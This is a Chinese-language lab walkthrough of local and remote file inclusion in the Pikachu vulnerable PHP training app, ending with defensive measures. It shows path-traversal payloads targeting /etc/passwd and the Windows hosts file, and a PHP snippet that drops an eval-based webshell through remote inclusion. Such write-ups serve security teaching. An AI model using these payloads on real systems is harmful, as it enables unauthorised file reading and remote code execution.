1. 程式人生 > 實用技巧 >File Inclusion - Pikachu

File Inclusion - Pikachu

概述:

檔案包含,是一個功能。在各種開發語言中都提供了內建的檔案包含函式,其可以使開發人員在一個程式碼檔案中直接包含(引入)另外一個程式碼檔案。

比如 在PHP中,提供了: include(),include_once() require(),require_once() 這些檔案包含函式,這些函式在程式碼設計中被經常使用到。

大多數情況下,檔案包含函式中包含的程式碼檔案是固定的,因此也不會出現安全問題。

但是,有些時候,檔案包含的程式碼檔案被寫成了一個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。

攻擊著會指定一個“意想不到”的檔案讓包含函式去執行,從而造成惡意操作。

根據不同的配置環境,檔案包含漏洞分為如下兩種情況:

1.本地檔案包含漏洞:僅能夠對伺服器本地的檔案進行包含,由於伺服器上的檔案並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置檔案,從而讀取系統敏感資訊。很多時候本地檔案包含漏洞會結合一些特殊的檔案上傳漏洞,從而形成更大的威力。

2.遠端檔案包含漏洞:能夠通過url地址對遠端的檔案進行包含,這意味著攻擊者可以傳入任意的程式碼,這種情況沒啥好說的,準備掛彩。 因此,在web應用系統的功能設計上儘量不要讓前端使用者直接傳變數給包含函式,如果非要這麼做,也一定要做嚴格的白名單策略進行過濾。

本地檔案包含:

1.進入靶場,選擇不同的人物,會包含執行不同的php檔案,

通過URL請求可以看到前端上傳了一個檔名到後臺,後臺會通過前端上傳的檔案進行對應的操作,傳回對應的資訊到前端中(前端的檔案都是後臺儲存的檔案)。

2.進行抓包,修改資料,使filename成為一個變數,

3.修改filename,

Win:

../../../../Windows/System32/drivers/etc/hosts

Linux:

../../../../../../../../etc/passwd

4.檢視後端原始碼進行分析漏洞的原因:可以看到它獲取前端提交的檔名後,會通過include函式進行包含執行,但因為沒有做任何的安全限制,導致變數值filename可以被使用者通過前端去做任何的修改,從而產生漏洞

遠端檔案包含:

條件:

1. php.ini中allow_url_include和allow_url_fopen的開啟

2. 所包含的遠端檔案字尾不能與目標伺服器語言相同. (比如目標伺服器是php解析的, 遠端伺服器的檔案不能是php)

1.進入頁面,

2.寫入一句話木馬,格式是txt文字, (上面說了不能包含同字尾的檔案, 是把其他型別的檔案當做php解析)

<?php
    $myfile = fopen("hack.php", "w");
    $txt = '<?php @eval($_POST["hack"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
?>

遠端包含地址:

http://127.0.0.1/phpstudy_pro/WWW/pikachu/hack.txt

防範措施:

  1. 在功能設計上儘量不要將檔案包含函式對應的檔案放給前端選擇和操作。
  2. 過濾各種 ../../,http://,https://
  3. 配置 php.ini 配置檔案
    • allow_url_fopen = off
    • allow_url_include = off
    • magic_quotes_gpc = on
  4. 通過白名單策略,僅允許包含執行指定的檔案,其他的都禁止